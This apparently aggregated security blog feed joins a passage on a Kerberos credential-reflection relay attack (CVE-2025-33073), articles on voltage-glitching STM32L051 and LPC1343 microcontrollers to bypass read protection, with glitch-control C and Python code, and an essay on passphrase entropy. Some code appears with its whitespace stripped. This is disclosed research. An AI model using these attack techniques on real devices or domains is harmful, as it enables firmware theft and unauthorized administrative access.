The fact that this works is unexpected in at least the following two ways:
Credential reflection should not be possible.
The machine account srv1$, with which the authentication occurs, typically does not have administrative privileges on the system itself when authenticating remotely over the network.
Analyzing the Attack
This section covers some analysis of the observed behavior.
For this, we mainly focus on network captures taken during the attack on the attacked system srv1 (attached in relay-srv1.pcapng).
For peeking into the encrypted Kerberos tickets and data structures, the Kerberos secrets of the lab Active Directory domain were loaded into Wireshark; this allows decryption of ticket material, including the Privilege Attribute Certificate (PAC) (compare also keytab.py16 and the provided patch).
The attached mydomain-keytab.kt can be loaded in Wireshark in Edit > Preferences > Protocols > KRB5 > Kerberos keytab file; also apply “Try to decrypt Kerberos blobs”.
All mentioned raw data (network packet captures, keytab file for decryption of Kerberos traffic, etc.) is provided in the appendix, so every reader can follow and do their own analysis.
While reading the PCAPs, some specifications can be useful for reference.14171819202122
The PCAP file contains the following relevant TCP streams, here shown by their respective Wireshark display filter:
tcp.stream eq 1: the authentication coercion (traffic of printerbug.py), initiated by attacker-lin
tcp.stream eq 5: the KRB_TGS_REQ/KRB_TGS_REP of srv1 to dc1 to request a service ticket for cifs/srv1
tcp.stream eq 4: the authentication (KRB_AP_REQ) of srv1$ over SMB/Kerberos to the SPN cifs/srv1, initiated by srv1 and going to attacker-lin
tcp.stream eq 6: the relayed-back connection (KRB_AP_REQ), including command execution (traffic of krbrelayx.py); going from attacker-lin back to srv1
The following diagram visualizes the attack and shows the relevant steps:
The different TCP streams are color-coded. Individual edges map to following packets in relay-srv1.pcapng:
Edge (1) (coercing) is simplified and itself consists of first authentication then second doing remote procedure calls.
Edge (2) corresponds to PCAP packet number 73.
Edge (3) corresponds to PCAP packet number 76.
Edge (4) corresponds to PCAP packet number 79.
Edge (5) corresponds to PCAP packet number 95.
Edge (6) corresponds to PCAP packet number 97.
Finally, edge (7) (like edge (1)) corresponds to multiple packets; it represents the rest of the TCP/SMB session.
TCP Stream 4
The main packet relevant here can be identified with the display filter tcp.stream eq 4 and kerberos; it is packet number 79.
The following figure shows it in context:
Here, we can see the Kerberos KRB_AP_REQ authentication from srv1 (10.10.10.50) to attacker-lin (10.10.10.200).
Inside the Kerberos data in
SMB2 >
Session Setup Request >
Security Blob >
GSS-API Generic Security Service Application Program Interface >
Simple Protected Negotiation (SPNEGO) >
negTokenInit >
krb5_blob >
Kerberos >
ap-req >
ticket >
sname >
sname-string, we can see that – as far as Kerberos is concernced – the target for the authentication is cifs/srv1.
Later in the packet in the various decrypted parts (including the decrypted PAC) we see that the account that tries to authenticate is indeed srv1$, that its RID is 1105, and that it is a member of the Domain Computers group (RID 515):
TCP Stream 6
The main packets relevant here can be identified with the display filter tcp.stream eq 6 and kerberos.
They are:
Packet number 95: The KRB_AP_REQ in packet 79 of TCP stream 4 is taken by krbrelayx and relayed as is back to srv1 inside a new connection in TCP stream 6 in this packet number 95.
Packet number 97: The corresponding KRB_AP_REP from srv1, confirming successful authentication.
Then, in packet 170 we see the service creation which executes the specified commands and writes their output to a file:
Finally, the output is read over the ADMIN$ SMB network share:
A sidenote: During debugging the issue, we tried various things for debugging this behavior, like
diffing decrypted network traffic (KRB_AP_REQ) of the working relay attack against normal login over SMB, or
dumping the Kerberos CIFS service ticket from srv1 using Rubeus and trying to use them manually (pass-the-ticket), which did not yield administrative privileges on srv1.
However, this didn’t lead anywhere in explaining why the attack works and yields administrative privileges.
Appendix / Supplementary Material
This appendix contains additional material that should aid in following and debugging the attack.
The raw data is provided in kerberos-reflection.zip.
Patch to krbrelayx
Attached in patch-krbrelayx.diff is a patch to krbrelayx.py5 that was necessary for the attack to work.
It should be applied to commit aef69a7e4d2623b2db2094d9331b2b07817fc7a4.
We plan to upstream this patch upon publication.
PCAP from srv1
Attached in relay-srv1.pcapng is a network traffic capture of the authentication coercion and relay attack taken on the attacked system srv1.
PCAP from attacker-lin
Attached in relay-attacker-lin.pcapng is a network traffic capture of the authentication coercion and relay attack taken on the attacker system attacker-lin.
Lab domain NTDS.dit dump and keytab
Attached in
mydomain.ntds,
mydomain.ntds.cleartext,
mydomain.ntds.kerberos,
mydomain.sam and
mydomain.secrets
is a full NTDS.dit dump of all Active Directory accounts in the lab domain.
The same information is also provided as a keytab file in mydomain-keytab.kt that can be loaded into Wireshark; this allows decryption and further inspection/debugging of the Kerberos traffic and associated Kerberos tickets (including PACs) in the previously provided PCAP files.
The dump was taken with impacket’s secretsdump as follows (and then converted using a patch to Dirk-jan’s keytab.py):
In order to make it easier to inspect Kerberos tickets, we used keytab.py by Dirk-jan Mollema.16
This tool allows us to convert Kerberos secrets into the keytab file format that can then subsequently be loaded into Wireshark for PCAP analysis.
Attached in patch-keytabpy.diff is a patch to keytab.py that allows direct ingestion of impacket’s secretsdump output.
The patch applies to commit 881790dd0df047ce44c3c884dc36b55674cc262a.
We plan to upstream this patch upon publication.
Thanks
Besides the people mentioned in the references/footnotes for their research and tooling, thanks also go to our colleagues for helpful discussion and review, especially Jonas Dopf, Marc Gessler, Josef Ilg, Franz Jahn and Jannik Vieten; and Dr. Julia Kerscher and Jonathan Schneider for linguistic quality assurance.
Further reading
The security researchers from RedTeam Pentesting and Synacktiv have also already published further technical information regarding CVE-2025-33073. You can find their corresponding publications here:
2025-03-07: Initial notice of behavior in a lab environment. The subsequent weeks have been spent verifying the actual validity of the attack as well as narrowing attacker requirements and broadening the impact of the attack.
2025-03-31: Verification of validity of latest variation in up-to-date lab environment.
2025-04-02: Report to Microsoft/MSRC in PGP-encrypted e-mail with full attachments to secure@microsoft.com.
2025-04-07: Follow-up inquiry for confirmation of receipt.
2025-04-09: Verification that the attack still works with the patches from yesterday’s Patch Tuesday applied.
2025-04-10: Since there was no response from MSRC, submission to web portal msrc.microsoft.com. Confirmation of receipt.
2025-04-16: MSRC status change from “New” to “Review/Repro”.
2025-04-18: MSRC confirmation that the issue is valid and can be reproduced; information that this issue is a duplicate.
2025-04-24: MSRC tentative fix release planned for Patch Tuesday in July; agreement to not publish before then.
2025-05-30: MSRC fix release planned for Patch Tuesday in June; CVE-2025-33073 assigned.
STM32L05 Voltage Glitching2025-06-06T12:00:00+02:002025-06-06T12:00:00+02:00https://blog.syss.com/posts/voltage-glitching-the-stm32l05-microcontroller/Dr. Matthias Kesenheimer
The term “fault injection” refers to a class of vulnerabilities in which attackers deliberately attempt to create error states in systems.
These error states lead to abnormal system behavior and can be exploited to circumvent security restrictions.
For example, it is possible to extract cryptographic keys or bypass read restrictions on internal memory with these kind of attacks.
In this articl...
The term “fault injection” refers to a class of vulnerabilities in which attackers deliberately attempt to create error states in systems.
These error states lead to abnormal system behavior and can be exploited to circumvent security restrictions.
For example, it is possible to extract cryptographic keys or bypass read restrictions on internal memory with these kind of attacks.
In this article, a fault injection attack on the STM32L051 microcontroller with the Pico Glitcher and the fault injection software library findus is shown.
A public advisory regarding this vulnerability has been issued.
Introduction
Voltage glitching is a well-known hardware attack used to exploit vulnerabilities in microcontrollers.
Alongside clock glitching and electromagnetic fault injection, it’s a proven method for bypassing security checks or triggering unintended behavior in embedded systems.
In this article, we’ll explore how voltage glitching works using the Pico Glitcher and the findus library.
These tools make it easy to perform precise fault injections and demonstrate how vulnerable many microcontrollers remain to such attacks.
The target
The target of this attack is the STM32L051 microcontroller from STMicroelectronics.
It is part of the STM32L0 series, known for low-power performance in embedded applications.
Like many other microcontrollers from STMicroelectronics – such as the STM8, STM32F2, and STM32F4 series – it is vulnerable to voltage glitching attacks.
Typically, these chips are attacked in bootloader mode, where the voltage glitches allow a step-by-step memory extraction. See for example STM8 glitching and STM32F4 glitching for more details.
However, the STM32L051 is not vulnerable to this common bootloader voltage glitching attack.
Overall, the bootloader of the STM32L051 microcontroller should not differ significantly from other bootloaders of the STM32 series.
However, thorough tests have shown that the STM32L051 microcontroller cannot be attacked in bootloader mode.
The exact reasons for this are not known and difficult to fathom.
The vulnerability explained in this paper actually lies in the microcontroller’s read-out protection (RDP) downgrade routine, which is triggered when the microcontroller’s flash memory is reset completely.
By targeting this routine with a well-timed glitch, it is possible to bypass the protection mechanism (read-out protection) without erasing the memory and gain access to the internal memory of the device.
This technique is referred to as flash erase suppression attack, also described in the paper Unlock the Door to my Secrets, but don’t Forget to Glitch from 2024 by Schink, M., Wagner, A., Oberhansl, F., Köckeis, S., Strieder, E., Freud, S., & Klein, D..
Glitching setup
During an RDP downgrade, the flash memory is automatically erased by the microcontroller.
If a glitch is emitted at precisely the right moment during the setup phase of the RDP downgrade method, the RDP level is lowered without the flash being erased.
However, this is risky, as a failed attempt could result in the flash being erased, meaning the valuable data that the attacker is interested in could be lost forever.
The following setup is used to attack the STM32L051 microcontroller.
Setup for the RDP downgrade attack
It turned out that the setup significantly impacted the consistency of the glitching parameters.
Consequently, a dedicated circuit board was developed that can be used to swiftly switch between multiple MCUs without the need for soldering.
This circuit board is referred to as the ‘STM32L051 Target Board’ thereafter.
STM32L051 Target Board
A circuit board has been developed to increase the success rate of attacks and reduce the likelihood of the flash memory being erased.
This ensures consistent and comparable attacks across multiple targets.
Furthermore, the STM32L051 Target Board’s clamshell adapter makes switching between multiple targets easy and eliminates the need for soldering.
The STM32L051 Target Board was designed to be as flexible as possible.
The voltage glitches can be injected via an SMA connector.
The MCU pins to which the glitch is applied can be selected using jumper switches.
If one pin is deemed more suitable than another, the configuration can therefore be easily changed.
Multiple LEDs provide a quick, non-obtrusive view of the attack status.
A second SMA connector can be used to perform side-channel analysis of the chip’s current consumption.
If necessary, an external clock signal can be fed into a third SMA connector.
There are multiple pin headers that provide access to various peripherals, such as trigger pins, UART and debugging interfaces.
Schematic of the STM32L05 Target Board
The finished circuit board can be seen in the following figure.
STM32L05 Target Board
Pico Glitcher and findus
For performing voltage glitching attacks using the Pico Glitcher, the Python fault injection library findus is used.
The Pico Glitcher and findus have been featured in a previous blog post about glitching the LPC1343 microcontroller.
This blog article describes, among other things, how to install the findus library and how to update the Pico Glitcher.
The Pico Glitcher
More information about the Pico Glitcher and findus can be found here.
Side channel analysis
To find the correct time to insert the voltage glitch, a side channel analysis of the power consumption of the microcontroller was performed.
An overview of the power consumption during RDP downgrade is shown in the following figure.
Overview of the power consumption during a flash erase
Zooming in on block A reveals different signatures in the power consumption.
The preparation phase in section A1 is of particular interest.
This is where the configuration for performing the RDP downgrade is established.
If a voltage glitch occurs in this region, the configuration may become corrupted and the RDP downgrade could fail.
Detailed view of the first block during flash erase
Parts of the flash are erased in section C.
If a second glitch is emitted in this section, the flash erase procedure may be aborted, which could be useful if the initial glitching attempt was unsuccessful.
In the following experiments, the Pico Glitcher was configured to emit a glitch during the preparation phase in section A1.
Program to perform the RDP downgrade
To execute the attack, a small C program was developed to control the RDP downgrade routines and to set the trigger condition to time the glitch.
As there is no access to the microcontroller’s flash memory, this executable is programmed into the microcontroller’s RAM and executed from there.
The functions required to perform the RDP downgrade are listed below.
First, the flash must be unlocked.
This is achieved by writing a 32-bit magic word into a designated register.
Next, the routine FLASH_OB_RDPConfig is called.
In the FLASH_OB_RDPConfig routine, we calculate the correct option bytes to write to the flash.
Before these bytes are written, the trigger condition is set by toggling an external pin.
The flash erase is then performed automatically by the microcontroller.
externFLASH_ProcessTypeDefpFlash;staticHAL_StatusTypeDefFLASH_OB_RDPConfig(uint8_tOB_RDP){/* init */HAL_StatusTypeDefstatus=HAL_OK;uint32_ttmp1=0U,tmp2=0U,tmp3=0U;tmp1=(uint32_t)(OB->RDP&FLASH_OPTR_RDPROT);#if defined(FLASH_OPTR_WPRMOD)
/* Mask WPRMOD bit */tmp3=(uint32_t)(OB->RDP&FLASH_OPTR_WPRMOD);#endif
/* calculate the option byte to write */tmp1=(~((uint32_t)(OB_RDP|tmp3)));tmp2=(uint32_t)(((uint32_t)((uint32_t)(tmp1)<<16U))|((uint32_t)(OB_RDP|tmp3)));/* Wait for last operation to be completed */status=FLASH_WaitForLastOperation(FLASH_TIMEOUT_VALUE);if(status==HAL_OK){/* Clean the error context */pFlash.ErrorCode=HAL_FLASH_ERROR_NONE;/* open glitching window */trigger0_high();/* program read protection level */OB->RDP=tmp2;/* Wait for last operation to be completed */status=FLASH_WaitForLastOperation(FLASH_TIMEOUT_VALUE);//printf1("flash wait for last operation status: %d\r\n", status);/* close glitching window */trigger0_low();}/* Return the Read protection operation status */returnstatus;}
Essentially, the Pico Glitcher is configured to emit a single glitch once the trigger condition has been met.
This is when the trigger pin of the STM32L051 Target Board is high.
The following code snippet is an excerpt from the glitching script that controls the attack.
fromfindusimportDebugInterface,Database,PicoGlitcher,Helper...classMain:def__init__(self,args):...# glitcher
self.glitcher=PicoGlitcher()# if argument args.power is not provided, the internal power-cycling capabilities of the pico-glitcher will be used. In this case, ext_power_voltage is not used.
self.glitcher.init(port=args.rpico,ext_power=args.power,ext_power_voltage=3.3)# trigger on the rising edge of the reset signal
self.glitcher.rising_edge_trigger(pin_trigger=args.trigger_input)...self.glitcher.set_hpglitch()self.database=Database(sys.argv,resume=self.args.resume,nostore=self.args.no_store,column_names=["delay","length","number_of_pulses","delay_between"])self.start_time=int(time.time())# STLink Debugger
self.debugger=DebugInterface(interface_config="interface/stlink.cfg",target="stm32l0",transport="hla_swd",adapter_serial=args.stlink_serial)...defrdp_downgrade(self):# load an the controller executable to RAM
# this will trigger a RDP downgrade to level 0 which will delete the flash content.
# The controller executable toggles a GPIO pin which we can use to time our glitch
# steps:
# - init; halt; load_image {elf_image}; resume; exit
print("[+] Programming target with program to downgrade to RDP 0 (to RAM).")self.debugger.attach(delay=0.1)self.debugger.gdb_load_exec(elf_image="rdp-downgrade-stm32l051.elf",timeout=0.7,verbose=False)self.debugger.detach()defrun(self):# log execution
logging.info("".join(sys.argv))s_delay=self.args.delay[0]e_delay=self.args.delay[1]s_length=self.args.length[0]e_length=self.args.length[1]...whileTrue:# set up glitch parameters (in nano seconds) and arm glitcher
delay=random.randint(s_delay,e_delay)length=random.randint(s_length,e_length)self.glitcher.arm(delay,length)# downgrade to RDP0 (this triggers the glitch)
self.rdp_downgrade()# block until glitch
response=""memory=Nonetry:self.glitcher.block(timeout=1)self.glitcher.power_cycle_reset(power_cycle_time=self.power_cycle_time)time.sleep(self.power_cycle_time)# read from protected address and characterize debugger response
memory,response=self.debugger.read_address(address=0x08000000)state=self.debugger.characterize(response=response,mem=memory)ifmemoryisnotNone:print(f"[+] Content at 0x08000000: {hex(memory)}")exceptExceptionase:print("[-] Timeout received in block(). Continuing.")...# classify state
color=self.glitcher.classify(state)mem_bytes=str(hex(memory)ifmemoryisnotNoneelse"None").encode("utf-8")...# add experiment to database, print results to stdout
...
To get an overview of the parameter space (glitch delay and glitch length) and for testing the setup, the script is called with the following arguments:
If necessary, the target is programmed with an arbitrary program and RDP level 1 is set.
The program rdp-downgrade-stm32l051.elf is then executed from RAM memory, which initializes the RDP downgrade and sets the trigger condition.
After a delay ranging from 0 to 12,000 ns, the glitch is emitted by the Pico Glitcher, after which the result is observed by reading from a protected memory address.
The result is then characterized and stored in the database.
Overview of the parameter space for single crowbar glitching during phase A1
As the heatmap shows, there are multiple regions of the parameter space where the ratio of failed flash erase attempts (where nothing happens) to successful RDP downgrade events is good.
These regions can be analyzed in more detail in subsequent runs to optimize the success rate.
For an attack on a real target, the arguments --program-target and --test are omitted:
This skips the programming phase and performs the attack until it is successful or the flash is erased.
After performing this attack, the RDP level is effectively reduced and protected memory areas can be accessed.
The complete project including the executables and the glitching script is available in the fault-injection-library.
Conclusion
Although the STM32L051 microcontroller showed no vulnerability to voltage glitching in bootloader mode, a vulnerability in the flash erase mechanism was found.
This vulnerability is much more difficult to exploit, as the entire memory content of the chip is lost in the event of a failure.
However, with sufficient motivation and financial interest, an attacker can potentially extract important information from the microcontroller using the flash erase suppression attack showed in this paper.
Details of this vulnerability have also been published in the advisory SYSS-2025-033.
Passphrases are easier to remember, but are they secure enough?2025-05-19T08:00:00+02:002025-05-23T12:04:21+02:00https://blog.syss.com/posts/passphrases/Dr. Fausto Frisenna
It is commonly believed that simply making passwords longer makes them more secure. In reality, security hinges on entropy — the true measure of unpredictability. This article compares random‐character passwords with word‐based “passphrases,” showing that although passphrases can be easier to remember, their strength depends on the size and randomness of the wordlist. Ultimately, choosing a str...
It is commonly believed that simply making passwords longer makes them more secure. In reality, security hinges on entropy — the true measure of unpredictability. This article compares random‐character passwords with word‐based “passphrases,” showing that although passphrases can be easier to remember, their strength depends on the size and randomness of the wordlist. Ultimately, choosing a strong password means balancing true unpredictability with human memorability.
How Strong Are Passphrases Really?
Passphrases are becoming more popular as they appear to be unpredictable for attackers but also easier for the user to remember. But are they secure enough?
A passphrase is a “password” made of three or more random words belonging to a given dictionary. Before diving into it, let us step back and try to understand how we can measure the “quality” of a password.
For simplicity, let us start considering a PIN code of four digits. The number of combinations that one has to try until they get the right one is given by $b^{\ell}$, where $b$ is the base, namely among how many digits one can pick, and $\ell$ the overall length of the password. In our example of a four-digit password, our base consists of $b=10$ digits and the length is $\ell=4$. Therefore, if a person wants to try to guess this code, they have to do at max $10^4=10000$ tries.
The Longer, the Harder? Entropy
Because a brute-force attack ultimately consists of binary decisions — checking each possible value one by one — we need a metric that directly reflects the number of bit-level operations required to cover the entire search space. This metric is called entropy, and it tells us how many bits of uncertainty (i.e., how many binary guesses) are needed to represent all possible combinations:
Here, (E) represents the number of bits a computer would need to explore all possible combinations in the worst case. The higher the entropy, the harder it is for an attacker to guess the password by brute force. We started from the definition and we re-expressed our formula so that we can compute it with normal calculators.
A four-digits PIN code would have an entropy of $13.29$ bits. In this way, we have re-expressed the number of possible password combinations and therefore necessary guessing attempts for an attacker in binary form.
Let us assume we need a password of at least 20 characters. If we start with just lowercase letters (26 possible characters), we can calculate the entropy of a password generated with random characters. For comparison, let’s consider a passphrase made of four or five random words. Depending on the length of each word, such a passphrase would likely result in a total length around 20 characters or more. While the exact length of a passphrase depends on the words selected, we can approximate that four or five words could yield a passphrase of a similar length to a 20-character random password. This allows us to compare the entropy of both types of passwords when they are roughly the same length.
The Bigger, the Better? Passphrases vs. Passwords
In order to compute the number of possible combinations that make up a passphrase, we first need to consider the size of the dictionary from which the words are drawn. In this analysis, we refer to the EFF large wordlist1, also used by tools like KeePassXC, which includes 7,776 words.
This list is structured as a so-called five-dice wordlist, meaning each word can be uniquely selected by rolling five six-sided dice — yielding $6^5 = 7776$ possible outcomes at most. The size of the list becomes our base $b$, and the number of words used in the passphrase becomes the exponent $\ell$ in the total number of combinations:
Random characters
Passphrase four words
Passphrase five words
Combination
$26^{20}\approx1.99\times10^{28}$
$7776^4\approx3.65\times10^{15}$
$7776^5\approx2.84\times10^{19}$
Entropy (bits)
$94.01$
$51.70$
$64.62$
A 20-character randomly generated password is significantly less predictable than a passphrase made of four or five random words. As shown in the table, it provides much higher entropy, meaning it’s mathematically much harder to guess or brute-force.
One could argue that we can separate the words with a space or with a random character like +-_&%$@ …
In this case, we need to add a new term to the entropy with a base $b_2$, the number of allowed separators2.
If we consider $b_2=32$ as the number of different special characters, we get:
Random characters (26)
Passphrase four words
Passphrase five words
Combination
$26^{20}\approx1.99\times10^{28}$
$32\times7776^4\approx1.17\times10^{17}$
$32\times7776^5\approx9.10\times10^{20}$
Entropy (bits)
$94.01$
$56.70$
$69.62$
As expected, introducing special characters as separators between words increases the entropy by approximately 5 bits. This is because the total number of possible combinations grows with the addition of new symbols, which adds to the unpredictability of the password.
The More Resources, the More Success: How Fast Can a Modern Home Computer Crack Passwords?
Ever wondered how quickly a regular computer can test passwords against common hashing algorithms? We ran a benchmark using Hashcat v6.2.6 on a standard system with an Intel® Core™ Ultra 7 165U CPU and here’s what we found. Even without a dedicated GPU, this modern CPU delivers surprisingly high speeds when testing passwords, especially for older or less complex hash functions.
Hash type
Speed (Guesses/second)
NTHash
724.8 million H/s
MD5
388.8 million H/s
SHA2-256
92.6 million H/s
PBKDF2-SHA512
14 794 H/s
bcrypt
154 H/s
These results make one thing clear: Fast hashes (NTHash, MD5, SHA-256) are engineered for throughput and can be cracked at hundreds of millions of attempts per second on consumer hardware. By contrast, password-hashing KDFs (like PBKDF2 and bcrypt) intentionally burn CPU cycles — often with configurable iteration or cost parameters — to slow down brute-force attacks to a trickle. For even stronger defense, memory-hard schemes such as scrypt, Argon2, or yescrypt add memory usage to the cost model, forcing attackers to invest both time and RAM on every guess.
To put this in perspective:
A password with 60 bits of entropy would take around 90 years to brute-force at a 400 million guesses per second — in theory. In practice? With modern GPU clusters and optimized tools, this can be reduced to 45 days for weak hash functions like SHA1 or NTHash.
A password with 128 bits of entropy remains computationally infeasible to crack, even with massive distributed systems.
The Higher, the Better? Targeting 128 Bits of Entropy
Let us now fix a target entropy of 128 bits, a value commonly regarded as secure for cryptographic applications and resilient even against large-scale brute-force attacks. The goal is to evaluate how long a password or passphrase must be to achieve this level of security, depending on the generation method.
We consider three scenarios:
A random string using all 94 printable characters (including lowercase, uppercase, digits, and special symbols)
A passphrase generated from the EFF large wordlist used by tools like KeePassXC, which contains 7,776 words
A generic passphrase composed of five or seven words, and we compute how large the wordlist would need to be to achieve 128 bits of entropy
Entropy target
Random characters (94)
EFF wordlist
Passphrase: five words
Passphrase: seven words
$E = 90$ bits
14 characters
7 words
$\sim$ 260k-word list
$\sim$ EFF wordlist size
$E = 128$ bits
20 characters
10 words
$\sim$ 50M-word list
$\sim$ 320k-word list
This comparison shows that a password made of 20 random characters from a 94-character set reaches 128 bits of entropy. Similarly, one would need ten words from a 7,776-word dictionary (such as the EFF large wordlist) to reach the same level.
Alternatively, fewer words could be used if the dictionary were much larger. For instance, a passphrase of five words would require a dictionary of approximately 50 million entries, while seven words would only require around 320,000 words to provide equivalent security.
For perspective, the vocabulary of an average-educated native English speaker ranges from 20,000 to 35,000 words, while comprehensive unabridged English dictionaries contain 200,000 to 300,000 words. This means that a seven-word passphrase drawn from a sufficiently rich and well-structured wordlist could offer the same cryptographic strength as a highly random and complex password.
Although random strings remain the most compact way to achieve high entropy, passphrases offer a compelling alternative — as long as they are generated with true randomness from a well-designed, sufficiently large wordlist.
Conclusions
The memorability of a passphrase improves significantly with repeated use. A sequence of six or seven randomly chosen words may seem daunting at first, but if entered regularly — for example, as a disk encryption key or system login — it can become familiar over time. In such contexts, the usability advantage of passphrases becomes meaningful.
That said, for credentials that are rarely typed — such as those managed by a password manager or used for API tokens — the benefits of a memorable passphrase diminish. In these cases, dense random strings offer the same level of security with less cognitive overhead.
It’s also important to note that word-based passphrases must be sufficiently long to offer strong protection. A three- or four-word phrase, even if random, rarely provides the same security margin as a properly sized alphanumeric password. This trade-off highlights a key point: Passphrases are not inherently stronger — they must be long enough and truly random to compete with well-generated passwords.
Ultimately, password design should reflect both entropy requirements and real-world usability. Whether it’s a dense, character-based password or a longer, word-based passphrase, the right choice depends on the specific use case and how frequently the secret is used. After all, security is only effective when it aligns with human behavior — and when it strikes the right balance between protection and practicality.
Passphrases generators allow separators of also more than one characters but not different separators. ↩
Voltage Glitching with the Pico Glitcher and Findus2025-02-21T14:00:00+01:002025-02-21T14:08:35+01:00https://blog.syss.com/posts/voltage-glitching-with-picoglitcher-and-findus/Matthias Deeg
Fault injection attacks against microcontrollers can be very rewarding for attackers, if they are successful. In this article, a new hardware device for performing voltage glitching attacks, the Pico Glitcher, and its fault injection software library findus are demonstrated.
Fault injection attacks against microcontrollers can be very rewarding for attackers, if they are successful. In this article, a new hardware device for performing voltage glitching attacks, the Pico Glitcher, and its fault injection software library findus are demonstrated.
Introduction
Hardware fault injection attacks against embedded devices or microcontrollers using side channels like the supply voltage (voltage glitching), the clock (clock glitching), or using electromagnetic pulses (EM fault injection) have been known and used for many years.
With the availability of more affordable, open-source hardware devices like the ChipWhisperer or the ChipSHOUTER, and corresponding software toolchains, performing these kinds of fault injection attacks became more accessible to many people, as the barrier of entry to this field was significantly lowered. Within the last few years, many other low-cost, open-source hardware glitching tools were released, for example
A couple of months ago, SySS IT security expert Dr. Matthias Kesenheimer released his own open-source voltage glitching hardware device, the Pico Glitcher, together with his fault injection software library findus. Using this toolchain, it is quite easy to perform voltage glitching attacks, as I’ve recently learned myself and want to show you with an example.
The following figure shows the Pico Glitcher version 2.1, that I’ve received a couple of days ago. However, the voltage glitching attack I’m going to demonstrate also works with the hardware version 1.
Pico Glitcher v2.1
The target
The target device of our voltage glitching attack is an old acquaintance, the Arm Cortex-M3-based microcontroller LPC1343 by NXP. The code read protection (CRP) of this chip – and also of others of the LPC family – is known to be vulnerable to voltage glitching attacks, as Chris Gerlinsky published in his RECON talk Breaking CRP on NXP LPC Microcontrollers back in 2017.
When testing a new glitching setup like I do here using the Pico Glitcher, it is always a good idea to try it first with a well-known vulnerable target to see if it actually works as intended.
How to successfully bypass the code read protection of the LPC1343 is, for example, well-documented in the three-part blog series NXP LPC1343 Bootloader Bypass by Toothless Consulting, or in the blog article Glitching the Olimex LPC-P1343. Back in 2020, I’ve also already published a voltage glitching video targeting the LPC1343 using the iCEStick Glitcher. Thus, in this article I want to demonstrate how to reproduce this attack using a new voltage glitching toolchain.
Glitching setup
In general, the hardware setup for performing voltage glitching attacks consists of the following parts:
Target device
Power supply
Device to control the target’s supply voltage for triggering glitches
Device to communicate with the target device (e.g. UART adapter or SWD debug probe)
In our glitching setup, the target device is the LPC1343, the external power supply is a Rigol DP832, the Pico Glitcher will be used to control the target’s supply voltage including voltage glitches, and we use a laptop to communicate with our target device via UART, and with the Pico Glitcher via USB. The following figure shows an overview of this glitching setup.
Voltage glitching setup
Wiring
In order to properly operate the LPC1343 in our glitching setup, we have to connect the following nine pins of the chip.
Pin
Function
Wire color
3
Reset
white
4
Execute ISP command handler
orange
5
Negative supply voltage (VSS)
gray/black
8
Positive supply voltage (VDD)
red
14
Execute ISP command handler
orange
41
Negative supply voltage (VSS)
gray/black
44
Positive supply voltage (VDD)
red
46
UART receive (RX)
blue
47
UART transmit (TX)
violet
The following figure shows the pinout diagram of the LPC1343 with the actual LQFP48 chip package.
Our targeted LPC1343 chip with enabled code read protection is soldered on a breakout board which is connected to a breadboard, as the following figure illustrates.
Target board with LPC1343 and all required connections
There is a 10 Ohm resistor between the target supply voltage and the glitch signal, both provided by the Pico Glitcher. Furthermore, the reset output of the Pico Glitcher is both connected to the reset pin of our target chip and to the trigger input of the Pico Glitcher itself, as the reset signal will be the reference point for timing our glitches. The delay of our voltage glitches is measured in nanoseconds relatively to the target reset signal.
The following figure shows all the connections between the Pico Glitcher, our target board with the LPC1343, and the UART adapter that will be connected to our computer.
Connections between the Pico Glitcher, the target board, and the UART adapter
Pico Glitcher & findus
For performing voltage glitching attacks using the Pico Glitcher, the Python fault injection library findus is used.
Installing findus
Findus can simply be installed via pip – best within a Python virtual environment.
Based on a Python example script provided by Dr. Matthias Kesenheimer in the findus installation, I’ve developed a Python script for attacking the code read protection of our LPC1343 target, reusing some code from the iCEStick Glitcher.
findus also contains firmware for the Pico Glitcher that can be installed using the provided upload tool.
Depending on the used hardware version of the Pico Glitcher, different firmware and configuration files have to uploaded. So be careful and choose the correct command from the documentation.
As I have the Pico Glitcher v2.1, the current firmware can be installed using the following commands.
If the wiring of our glitching setup is correct, we should now be able to communicate with the ISP command handler of our targeted LPC1343 chip using the Pico Glitcher Python script. To test this, we set an arbitray glitch delay range, and a glitch length of zero.
The device name of the UART adpater in this setup is /dev/ttyUSB0, and the device name of the Pico Glitcher is /dev/ttyACM3.
1
2
3
4
5
6
7
python pico-glitcher.py --target /dev/ttyUSB0 --rpico /dev/ttyACM3 --delay 1000 1000 --length 0 0
[+] Experiment 0 0 (NA) 0 1000 G Trigger OK
[+] Experiment 1 0 (1) 0 1000 G Trigger OK
[+] Experiment 2 0 (2) 0 1000 G Trigger OK
[+] Experiment 3 0 (3) 0 1000 G Trigger OK
[+] Experiment 4 0 (4) 0 1000 G Trigger OK
[...]
The experiment result Trigger OK in our glitching setup means, that the glitch of the current experiment was successfully triggered via the Pico Glitcher. Additionally, the LPC1343 responded as expected to the memory read command sent afterwards via UART communication to the ISP command handler, when the code read protection was not bypassed.
For defining the different states and corresponding color codes for later data analysis, we simply overwrite the method classify in our derived PicoGlitcher class, as the following Python code illustrates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
classDerivedGlitcher(PicoGlitcher):"""Derived PicoGlitcher with custom classification"""defclassify(self,state):ifb"Trigger OK"instate:color="G"elifb"Sync error"instate:color="M"elifb"Timeout"instate:color="Y"elifb"Success"instate:color="R"else:color="C"returncolor
Thus, the different results of an experiment are defined as follows:
Status
Meaning
Color code
Trigger OK
Glitch successfully triggered; memory read not successful
Before we launch the actual voltage glitching attack, we try to find the minimal supply voltage for our targeted LPC1343, where it still works as specified. For this, we gradually reduce the target supply voltage until we receive errors when communicating with the chip’s ISP command handler. Operating a chip at its lowest possible supply voltage is beneficial for introducing glitches and causing unwanted behavior.
The determined lower limit supply voltage in our glitching setup is 2.23 V.
The attack
Now it’s time for our voltage glitching attack.
But in order to better understand what is actually happening during the attack, we first have a brief look at the code of our used Pico Glitcher Python script.
In the following code excerpt, the trigger of the Pico Glitcher is set to the rising edge of the reset signal. Furthermore, the selected glitching mode is set to low-power crowbar glitching, where the power of the target device is shorted to ground (0 V).
1
2
3
4
5
# set trigger on rising edge of reset line (RESET and TRIGGER are connected)
self.glitcher.rising_edge_trigger()# choose multiplexing or crowbar glitching
self.glitcher.set_lpglitch()
The real magic happens in the run method of our glitcher class, which is provided in the following excerpt.
defrun(self):# log execution
logging.info("".join(sys.argv))s_length=self.args.length[0]e_length=self.args.length[1]s_delay=self.args.delay[0]e_delay=self.args.delay[1]experiment_id=0response=b""whileTrue:# set up glitch parameters (in nano seconds) and arm glitcher
length=random.randint(s_length,e_length)delay=random.randint(s_delay,e_delay)self.glitcher.arm(delay,length)# reset target
self.glitcher.reset(0.02)# block until glitch
